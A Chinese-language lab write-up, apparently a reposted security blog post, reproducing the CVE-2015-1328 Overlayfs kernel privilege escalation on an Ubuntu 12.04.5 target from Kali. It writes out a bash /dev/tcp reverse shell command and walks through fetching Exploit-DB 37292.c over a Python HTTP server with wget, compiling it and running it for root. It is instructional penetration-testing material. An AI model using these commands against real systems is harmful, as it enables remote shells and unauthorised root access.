文章总结: 该文档详细记录了CVE-2015-1328(LinuxOverlayfs内核权限绕过漏洞)的完整复现过程。通过KaliLinux攻击Ubuntu12.04.5靶机,演示了从建立反弹Shell、系统信息收集(uname/catproc/version)、搜索漏洞利用代码(searchsploit)、传输漏洞文件(python-mhttp.server)到编译执行提权(gcc-oexp)的全流程。关键发现是3.13.0-32-generic内核存在权限校验缺陷,最终通过运行编译后的exp成功获取root权限。 综合评分: 85 文章分类: 漏洞分析,渗透测试,红队,内网渗透,实战经验
CVE-2015-1328 Overlayfs内核本地提权复现
原创
晨星安全团队 晨星安全团队
晨星安全团队
2026年5月17日 16:52 湖南
在小说阅读器读本章
去阅读
overlayfs内核提权(CVE-2015-1328)
漏洞简介
CVE-2015-1328 是 Linux Overlayfs 文件系统存在的内核权限绕过漏洞。
由于内核对 Overlayfs 挂载操作的权限校验存在逻辑缺陷,低权限本地用户可利用该缺陷绕过系统权限限制,实现本地提权至 root 管理员权限。
实验环境
一台 KaliLinux(攻击者)和一台 Ubuntu 12.04.5(靶标)
复现过程
建立反弹 Shell
在靶标上手动创建反弹 Shell 模拟已进入内网情况
bash -i >& /dev/tcp/192.168.41.151/6767 0>&1
bash -i
- 启动一个 交互式 bash shell (
-i代表 interactive) - 这样子进程不会只是执行一次命令后退出,而是会等待用户输入
/dev/tcp/192.168.41.151/6767
- 在 bash 内置的特殊文件系统中,
/dev/tcp/HOST/PORT表示一个 TCP 连接 - 当你尝试对它进行重定向时,bash 会尝试连接指定的 IP 和端口
- 这里就是:尝试建立到
192.168.41.151:6767的 TCP 连接
>&
- 这是 标准输出和标准错误的重定向
>& target表示把 stdout (1) 和 stderr (2) 一起重定向到目标- 在这里,目标是
/dev/tcp/192.168.41.151/6767,即远程 TCP 连接
0>&1
- 把 标准输入 (0) 重定向到 标准输出 (1)
- 而标准输出已经被重定向到远程 TCP 连接,因此输入也会来自那个连接
综合效果
- 启动一个交互式 bash shell (
bash -i) - 该 shell 的输入、输出、错误流都被重定向到远程 TCP 连接 (
192.168.41.151:6767) - 结果:一旦远程主机在该端口上监听,执行这条命令的机器就会反向连接过去,并且把一个交互式 shell 提供给远程主机
KaliLinux 监听
系统信息收集
显示系统的内核和系统信息
uname -a
Linux→ 内核名称 (kernel name)
ubuntu → 主机名 (hostname)
3.13.0-32-generi → 内核发行版本 (kernel release)
3.13.0→ 主版本号-32→ 修订版本号-generic→ 内核构建类型(通用版,Ubuntu 默认)
#57~precise1-Ubuntu → 内核编译版本号 (build number)
#57→ 这是第 57 次构建precise1-Ubuntu→ Ubuntu 针对 12.04 LTS (Precise Pangolin) 发布的内核
SMP → Symmetric MultiProcessing,支持多核 CPU
Tue Jul 15 03:50:54 UTC 2014 → 内核的编译时间
i686 i686 i386
i686→ CPU 类型(Intel 686 级别,表示 32 位 CPU 架构)- 第二个
i686→ machine 硬件名称 i386→ 表示兼容 32 位 i386 架构
说明这是一个 32 位 Ubuntu 系统
GNU/Linux → 操作系统名称
显示 Linux 内核版本信息
cat /proc/version
Linux version 3.13.0-32-generic → 内核版本号:3.13.0-32-generic(buildd@toyol) → 内核构建时使用的构建账号和主机名:
buildd是 Ubuntu 自动构建系统的用户toyol是构建服务器的主机名
(gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5)) → 内核编译时所用的 GCC 编译器版本:4.6.3,来自 Ubuntu/Linaro
#57~precise1-Ubuntu → 内核构建号:第 57 次构建,适配 Ubuntu 12.04 (Precise Pangolin)
SMP → 表示支持对称多处理 (Symmetric MultiProcessing),即多核 CPU
Tue Jul 15 03:50:54 UT → 内核编译时间(UTC 时间)
检查是否有 GCC(在提权前忘记敲了,补一张提权后的)
gcc
出现这个报错是因为我们没有提供要编译的文件,可见靶机有 GCC
查找漏洞利用代码
搜索前面收集到的内核信息,查找可利用的提权漏洞
searchsploit Linux ubuntu 3.13.0
searchsploit 是 Exploit Database (Exploit-DB) 提供的一个命令行搜索工具
它允许你在本地离线搜索 漏洞利用代码 (exploits) 和 漏洞 PoC (proof-of-concept)
因为有 GCC,所以使用第一个 .c 来编译提权,先看看路径
locate linux/local/37292.c
locate
- 是一个基于数据库的文件搜索命令
- 它会在
mlocate.db或updatedb生成的索引库里查找匹配路径的文件,而不是逐目录扫描(所以速度 比find快很多)
因为要想办法在靶机上执行这个文件提权,所以先拷贝到根目录下再用 Python 开启个 http.server 传过去 (根目录更方便些)
漏洞代码传输
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
开启服务器
python -m http.server 8989
python -m
-m参数表示以模块方式运行- 这里调用的是
http.server模块
http.server
- Python 标准库自带的一个简易 HTTP 服务器
- 默认会把当前目录作为网站根目录
8989
- 指定端口号(默认是
8000,这里改成了8989) - 启动后浏览器访问
http://<IP>:8989/就能看到当前目录下的文件
再用 wget 访问下载我们的 37292.c 文件
wget 192.168.41.151:8989/37292.c
编译执行提权
使用 GCC 编译 C 文件
gcc -o exp 37292.c
-o 表示输出文件名 查看是否有可执行权限
运行文件提权成功
./exp
-END-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:晨星安全团队 晨星安全团队 晨星安全团队《CVE-2015-1328 Overlayfs内核本地提权复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论